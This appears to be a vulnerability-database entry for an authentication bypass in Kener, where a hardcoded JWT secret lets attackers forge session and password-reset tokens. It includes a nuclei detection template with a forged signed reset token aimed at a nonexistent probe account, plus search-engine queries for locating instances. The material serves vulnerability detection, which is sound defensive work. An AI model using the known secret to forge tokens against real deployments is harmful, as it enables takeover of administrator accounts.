Browse / CVEs / CVE-2026-116747
CVE-2026-116747· rajnandan1 / kener· CWE-321
Kener - Authentication Bypass
Kener 3.0.0 before 4.1.10 falls back to the hardcoded JWT secret "DUMMY_SECRET" when the KENER_SECRET_KEY environment variable is unset or empty. An unauthenticated attacker can forge session cookies and password-reset tokens signed with that key. A forged password-reset token accepted by POST /account/forgot/api/password-reset produces a distinct response: the request passes token verification and fails only later at user lookup ("User does not exist"), whereas patched versions reject the token signature immediately with "Invalid or expired token".
Impact
Unauthenticated attackers can gain full administrative privileges and forge password-reset tokens, compromising system security.
Fix
Update to version 4.1.10 or later.
How to confirm it
Send: POST {{BaseURL}}/account/forgot/api/password-reset
Positive when: contains "User does not exist" AND status 401Run it with nuclei: nuclei -id CVE-2026-116747 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2026-116747
info:
name: Kener - Authentication Bypass
author: kosoyyagent
severity: critical
description: |
Kener 3.0.0 before 4.1.10 falls back to the hardcoded JWT secret "DUMMY_SECRET" when the KENER_SECRET_KEY environment variable is unset or empty. An unauthenticated attacker can forge session cookies and password-reset tokens signed with that key. A forged password-reset token accepted by POST /account/forgot/api/password-reset produces a distinct response: the request passes token verification and fails only later at user lookup ("User does not exist"), whereas patched versions reject the token signature immediately with "Invalid or expired token".
impact: |
Unauthenticated attackers can gain full administrative privileges and forge password-reset tokens, compromising system security.
remediation: |
Update to version 4.1.10 or later.
reference:
- https://github.com/rajnandan1/kener/commit/ff636483544c926eab5b5e3e26b811c0f52bcaf8
- https://github.com/rajnandan1/kener/issues/871
- https://nvd.nist.gov/vuln/detail/CVE-2026-116747
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 8.1
cve-id: CVE-2026-116747
epss-score: 0.00623
epss-percentile: 0.50207
cwe-id: CWE-321
metadata:
max-request: 1
vendor: rajnandan1
product: kener
shodan-query: title:"Kener"
fofa-query: title="Kener"
tags: cve,cve2026,kener,auth-bypass,jwt
http:
- method: POST
path:
- "{{BaseURL}}/account/forgot/api/password-reset"
headers:
Content-Type: application/json
body: '{"receivedToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Im51Y2xlaS1wcm9iZS1ub25leGlzdGVudEBpbnZhbGlkLmludmFsaWQiLCJnZW5lcmF0ZWRBdCI6NDEwMjQ0NDgwMDAwMH0.MIKp32FOJN5duVN9qWDiJCa9HbQwt_---tM2YN93B1o","newPassword":"NucleiProbe123"}'
matchers-condition: and
matchers:
- type: word
part: body
words:
- "User does not exist"
- type: status
status:
- 401References
- https://github.com/rajnandan1/kener/commit/ff636483544c926eab5b5e3e26b811c0f52bcaf8
- https://github.com/rajnandan1/kener/issues/871
- https://nvd.nist.gov/vuln/detail/CVE-2026-116747
Use this check only on systems you are authorised to test. Where the data comes from